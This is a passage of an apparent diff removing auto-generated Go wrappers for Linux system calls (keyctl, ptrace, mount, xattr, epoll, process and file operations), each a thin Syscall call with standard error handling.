-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
